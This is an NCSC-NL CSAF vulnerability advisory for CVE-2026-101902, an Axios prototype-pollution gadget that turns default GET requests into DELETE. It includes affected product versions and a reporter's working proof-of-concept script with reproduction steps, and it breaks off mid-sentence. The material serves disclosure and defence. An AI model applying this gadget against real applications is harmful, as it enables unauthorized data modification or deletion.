{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-101902", "tracking": { "current_release_date": "2026-10-01T13:55:17.110206Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-101902", "initial_release_date": "2026-09-28T17:38:36.496835Z", "revision_history": [ { "date": "2026-09-28T17:38:36.496835Z", "number": "1", "summary": "CVSS created.| CWES created (1).| Products created (2).| References created (5).| Description created for source.| Unknown change." }, { "date": "2026-09-28T17:38:37.458894Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-09-28T18:28:41.373204Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-09-28T18:28:52.060577Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-09-28T19:38:29.252821Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-09-29T06:13:11.096969Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (86).| References created (7).| CWES updated (1)." }, { "date": "2026-09-29T12:29:22.220231Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (5).| Product Identifiers created (1).| References created (7).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-09-29T12:29:28.081962Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-09-29T12:53:06.616795Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-09-29T12:53:21.586544Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-09-29T16:12:57.134233Z", "number": "11", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-29T16:13:03.052139Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-09-30T15:40:03.526343Z", "number": "13", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)." }, { "date": "2026-09-30T15:40:12.554589Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-10-01T12:21:17.405347Z", "number": "15", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CWES updated (1)." } ], "status": "interim", "version": "15" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.2.0-alpha.1", "product": { "name": "vers:unknown/1.2.0-alpha.1", "product_id": "CSAFPID-3658038" } }, { "category": "product_version_range", "name": "vers:unknown/1.2.2", "product": { "name": "vers:unknown/1.2.2", "product_id": "CSAFPID-3129265" } }, { "category": "product_version_range", "name": "vers:unknown/>=0.27.2|<0.34.0", "product": { "name": "vers:unknown/>=0.27.2|<0.34.0", "product_id": "CSAFPID-9482817" } }, { "category": "product_version_range", "name": "vers:unknown/>=1.0.0|<1.20.0", "product": { "name": "vers:unknown/>=1.0.0|<1.20.0", "product_id": "CSAFPID-9482811" } }, { "category": "product_version_range", "name": "vers:unknown/v0.27.2", "product": { "name": "vers:unknown/v0.27.2", "product_id": "CSAFPID-3658054" } }, { "category": "product_version_range", "name": "vers:unknown/v0.28.0", "product": { "name": "vers:unknown/v0.28.0", "product_id": "CSAFPID-4429447" } }, { "category": "product_version_range", "name": "vers:unknown/v0.28.1", "product": { "name": "vers:unknown/v0.28.1", "product_id": "CSAFPID-4429448" } }, { "category": "product_version_range", "name": "vers:unknown/v0.29.0", "product": { "name": "vers:unknown/v0.29.0", "product_id": "CSAFPID-4429449" } }, { "category": "product_version_range", "name": "vers:unknown/v0.30.0", "product": { "name": "vers:unknown/v0.30.0", "product_id": "CSAFPID-4847028" } }, { "category": "product_version_range", "name": "vers:unknown/v0.30.1", "product": { "name": "vers:unknown/v0.30.1", "product_id": "CSAFPID-4847029" } }, { "category": "product_version_range", "name": "vers:unknown/v0.30.2", "product": { "name": "vers:unknown/v0.30.2", "product_id": "CSAFPID-5631707" } }, { "category": "product_version_range", "name": "vers:unknown/v0.30.3", "product": { "name": "vers:unknown/v0.30.3", "product_id": "CSAFPID-8600995" } }, { "category": "product_version_range", "name": "vers:unknown/v0.31.0", "product": { "name": "vers:unknown/v0.31.0", "product_id": "CSAFPID-8600994" } }, { "category": "product_version_range", "name": "vers:unknown/v0.31.1", "product": { "name": "vers:unknown/v0.31.1", "product_id": "CSAFPID-8600993" } }, { "category": "product_version_range", "name": "vers:unknown/v0.32.0", "product": { "name": "vers:unknown/v0.32.0", "product_id": "CSAFPID-8925640" } }, { "category": "product_version_range", "name": "vers:unknown/v0.33.0", "product": { "name": "vers:unknown/v0.33.0", "product_id": "CSAFPID-9485032" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.0", "product": { "name": "vers:unknown/v1.0.0", "product_id": "CSAFPID-3658055" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.0", "product": { "name": "vers:unknown/v1.1.0", "product_id": "CSAFPID-3658057" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.1", "product": { "name": "vers:unknown/v1.1.1", "product_id": "CSAFPID-3658058" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.2", "product": { "name": "vers:unknown/v1.1.2", "product_id": "CSAFPID-3658059" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.3", "product": { "name": "vers:unknown/v1.1.3", "product_id": "CSAFPID-3658060" } }, { "category": "product_version_range", "name": "vers:unknown/v1.10.0", "product": { "name": "vers:unknown/v1.10.0", "product_id": "CSAFPID-3721220" } }, { "category": "product_version_range", "name": "vers:unknown/v1.11.0", "product": { "name": "vers:unknown/v1.11.0", "product_id": "CSAFPID-3721221" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.0", "product": { "name": "vers:unknown/v1.12.0", "product_id": "CSAFPID-5588483" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.1", "product": { "name": "vers:unknown/v1.12.1", "product_id": "CSAFPID-5588484" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.2", "product": { "name": "vers:unknown/v1.12.2", "product_id": "CSAFPID-5588485" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.0", "product": { "name": "vers:unknown/v1.13.0", "product_id": "CSAFPID-5588486" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.1", "product": { "name": "vers:unknown/v1.13.1", "product_id": "CSAFPID-5588487" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.2", "product": { "name": "vers:unknown/v1.13.2", "product_id": "CSAFPID-5588488" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.3", "product": { "name": "vers:unknown/v1.13.3", "product_id": "CSAFPID-5588489" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.4", "product": { "name": "vers:unknown/v1.13.4", "product_id": "CSAFPID-5588490" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.5", "product": { "name": "vers:unknown/v1.13.5", "product_id": "CSAFPID-8580145" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.6", "product": { "name": "vers:unknown/v1.13.6", "product_id": "CSAFPID-8580144" } }, { "category": "product_version_range", "name": "vers:unknown/v1.14.0", "product": { "name": "vers:unknown/v1.14.0", "product_id": "CSAFPID-8580143" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.0", "product": { "name": "vers:unknown/v1.15.0", "product_id": "CSAFPID-8580142" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.1", "product": { "name": "vers:unknown/v1.15.1", "product_id": "CSAFPID-8580141" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.2", "product": { "name": "vers:unknown/v1.15.2", "product_id": "CSAFPID-8583063" } }, { "category": "product_version_range", "name": "vers:unknown/v1.16.0", "product": { "name": "vers:unknown/v1.16.0", "product_id": "CSAFPID-8925641" } }, { "category": "product_version_range", "name": "vers:unknown/v1.16.1", "product": { "name": "vers:unknown/v1.16.1", "product_id": "CSAFPID-8925639" } }, { "category": "product_version_range", "name": "vers:unknown/v1.17.0", "product": { "name": "vers:unknown/v1.17.0", "product_id": "CSAFPID-8925638" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.0", "product": { "name": "vers:unknown/v1.18.0", "product_id": "CSAFPID-9484963" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.1", "product": { "name": "vers:unknown/v1.18.1", "product_id": "CSAFPID-9484962" } }, { "category": "product_version_range", "name": "vers:unknown/v1.19.0", "product": { "name": "vers:unknown/v1.19.0", "product_id": "CSAFPID-9484961" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.0", "product": { "name": "vers:unknown/v1.2.0", "product_id": "CSAFPID-3658061" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.1", "product": { "name": "vers:unknown/v1.2.1", "product_id": "CSAFPID-3658062" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.2", "product": { "name": "vers:unknown/v1.2.2", "product_id": "CSAFPID-3658063" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.3", "product": { "name": "vers:unknown/v1.2.3", "product_id": "CSAFPID-3658064" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.4", "product": { "name": "vers:unknown/v1.2.4", "product_id": "CSAFPID-3658065" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.5", "product": { "name": "vers:unknown/v1.2.5", "product_id": "CSAFPID-3658066" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.6", "product": { "name": "vers:unknown/v1.2.6", "product_id": "CSAFPID-3658067" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.0", "product": { "name": "vers:unknown/v1.3.0", "product_id": "CSAFPID-3658068" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.1", "product": { "name": "vers:unknown/v1.3.1", "product_id": "CSAFPID-3658069" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.2", "product": { "name": "vers:unknown/v1.3.2", "product_id": "CSAFPID-3636395" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.3", "product": { "name": "vers:unknown/v1.3.3", "product_id": "CSAFPID-3636396" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.4", "product": { "name": "vers:unknown/v1.3.4", "product_id": "CSAFPID-3636397" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.5", "product": { "name": "vers:unknown/v1.3.5", "product_id": "CSAFPID-3636398" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.6", "product": { "name": "vers:unknown/v1.3.6", "product_id": "CSAFPID-3636399" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.0", "product": { "name": "vers:unknown/v1.4.0", "product_id": "CSAFPID-3636400" } }, { "category": "product_version_range", "name": "vers:unknown/v1.5.0", "product": { "name": "vers:unknown/v1.5.0", "product_id": "CSAFPID-3636401" } }, { "category": "product_version_range", "name": "vers:unknown/v1.5.1", "product": { "name": "vers:unknown/v1.5.1", "product_id": "CSAFPID-3636402" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.0", "product": { "name": "vers:unknown/v1.6.0", "product_id": "CSAFPID-3636403" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.1", "product": { "name": "vers:unknown/v1.6.1", "product_id": "CSAFPID-3636404" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.2", "product": { "name": "vers:unknown/v1.6.2", "product_id": "CSAFPID-3636405" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.3", "product": { "name": "vers:unknown/v1.6.3", "product_id": "CSAFPID-3636406" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.4", "product": { "name": "vers:unknown/v1.6.4", "product_id": "CSAFPID-3636407" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.5", "product": { "name": "vers:unknown/v1.6.5", "product_id": "CSAFPID-3636408" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.6", "product": { "name": "vers:unknown/v1.6.6", "product_id": "CSAFPID-3636409" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.7", "product": { "name": "vers:unknown/v1.6.7", "product_id": "CSAFPID-3636410" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.8", "product": { "name": "vers:unknown/v1.6.8", "product_id": "CSAFPID-3636411" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0", "product": { "name": "vers:unknown/v1.7.0", "product_id": "CSAFPID-3636412" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0-beta.0", "product": { "name": "vers:unknown/v1.7.0-beta.0", "product_id": "CSAFPID-3636413" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0-beta.1", "product": { "name": "vers:unknown/v1.7.0-beta.1", "product_id": "CSAFPID-3636414" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0-beta.2", "product": { "name": "vers:unknown/v1.7.0-beta.2", "product_id": "CSAFPID-3636415" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.1", "product": { "name": "vers:unknown/v1.7.1", "product_id": "CSAFPID-3636416" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.2", "product": { "name": "vers:unknown/v1.7.2", "product_id": "CSAFPID-3636417" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.3", "product": { "name": "vers:unknown/v1.7.3", "product_id": "CSAFPID-3636418" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.4", "product": { "name": "vers:unknown/v1.7.4", "product_id": "CSAFPID-3658070" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.5", "product": { "name": "vers:unknown/v1.7.5", "product_id": "CSAFPID-3658071" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.6", "product": { "name": "vers:unknown/v1.7.6", "product_id": "CSAFPID-3658072" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.7", "product": { "name": "vers:unknown/v1.7.7", "product_id": "CSAFPID-3658073" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.8", "product": { "name": "vers:unknown/v1.7.8", "product_id": "CSAFPID-3721222" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.9", "product": { "name": "vers:unknown/v1.7.9", "product_id": "CSAFPID-3721223" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.0", "product": { "name": "vers:unknown/v1.8.0", "product_id": "CSAFPID-3721224" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.1", "product": { "name": "vers:unknown/v1.8.1", "product_id": "CSAFPID-3721225" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.2", "product": { "name": "vers:unknown/v1.8.2", "product_id": "CSAFPID-3721226" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.3", "product": { "name": "vers:unknown/v1.8.3", "product_id": "CSAFPID-3721227" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.4", "product": { "name": "vers:unknown/v1.8.4", "product_id": "CSAFPID-3721228" } }, { "category": "product_version_range", "name": "vers:unknown/v1.9.0", "product": { "name": "vers:unknown/v1.9.0", "product_id": "CSAFPID-3721229" } } ], "category": "product_name", "name": "Axios" } ], "category": "vendor", "name": "Axios" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-6014972", "product_identification_helper": { "cpe": "cpe:/a:redhat:hummingbird:1" } } } ], "category": "product_name", "name": "Red Hat Hardened Images" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902830" } } ], "category": "product_name", "name": "grafana12.4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902831" } } ], "category": "product_name", "name": "grafana13.1" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-9053231" } } ], "category": "product_name", "name": "grafana13.2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8476867" } } ], "category": "product_name", "name": "jaeger" } ], "category": "product_family", "name": "Red Hat Hardened Images" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-2434928" } } ], "category": "product_name", "name": "node-axios" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-101902", "cwe": { "id": "CWE-1321", "name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')" }, "notes": [ { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-101902" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-101902" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101902.json?alt=media" }, { "category": "description", "text": "A flaw was found in axios. When sending HTTP requests that omit an explicit request method, Axios can inherit properties from the JavaScript prototype chain rather than using safe internal defaults. If an attacker manipulates shared object properties through a separate vulnerability in the same application, they can exploit this behavior to override the intended request method. This allows an attacker to force expected read-only requests to be sent as state-changing methods such as POST or DELETE, potentially resulting in unauthorized data modification or deletion.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-101902" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.27.2 until 0.34.0 and 1.20.0, Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET. Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch. This issue is fixed in version 0.34.0 and 1.20.0.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-101902" }, { "category": "description", "text": "## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: 'GET' })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = 'DELETE';\ntry {\n await axios.request({ url: 'http://127.0.0.1:/resource' });\n} finally {\n delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n
\n

Original report

\n \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url }); // expected vulnerable path\naxios({ url }); // expected vulnerable shorthand path\naxios.get(url); // expected safe alias path\naxios.request({ url, method: \"GET\" }); // expected safe explicit-method path\naxios.create().request({ url }); // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n const hits = [];\n const server = http.createServer((req, res) => {\n hits.push({\n method: req.method,\n url: req.url,\n });\n res.writeHead(200, { \"content-type\": \"application/json\" });\n res.end(JSON.stringify({ ok: true }));\n });\n\n const port = await listen(server);\n const url = `http://127.0.0.1:${port}/${label}`;\n\n let status = \"completed\";\n let error = \"\";\n try {\n await requestFn(url);\n } catch (err) {\n status = \"error\";\n error = err?.message || String(err);\n }\n\n server.close();\n return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n results.push(await runRequest(\"default-request-no-method\", (url) => axios.request({ url })));\n results.push(await runRequest(\"default-shorthand-no-method\", (url) => axios({ url })));\n results.push(await runRequest(\"default-get-alias\", (url) => axios.get(url)));\n results.push(await runRequest(\"default-request-explicit-get\", (url) => axios.request({ url, method: \"GET\" })));\n\n const instance = axios.create();\n results.push(await runRequest(\"created-instance-request-no-method\", (url) => instance.request({ url })));\n} finally {\n delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) => r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) => r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) => r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) => r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) => r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n defaultRequestMethod === \"DELETE\" &&\n defaultShorthandMethod === \"DELETE\" &&\n getAliasMethod === \"GET\" &&\n explicitGetMethod === \"GET\" &&\n createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url }) -> DELETE\naxios({ url }) -> DELETE\naxios.get(url) -> GET\naxios.request({ url, method:\"GET\" }) -> GET\naxios.create().request({ url }) -> GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate 